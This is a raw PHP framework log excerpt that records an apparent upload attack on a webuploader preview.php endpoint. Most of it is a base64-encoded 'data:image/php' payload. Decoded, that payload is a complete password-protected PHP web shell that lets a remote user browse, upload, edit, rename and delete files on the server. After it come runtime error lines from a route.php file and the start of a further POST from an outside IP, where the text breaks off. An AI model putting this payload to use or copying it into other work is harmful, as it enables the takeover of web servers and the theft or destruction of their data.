'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'common' => 'lib', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:59+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/Js/webuploader/0.1.15/server/preview.php [运行时间:0.002685s] [吞吐率:372.46req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Js', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 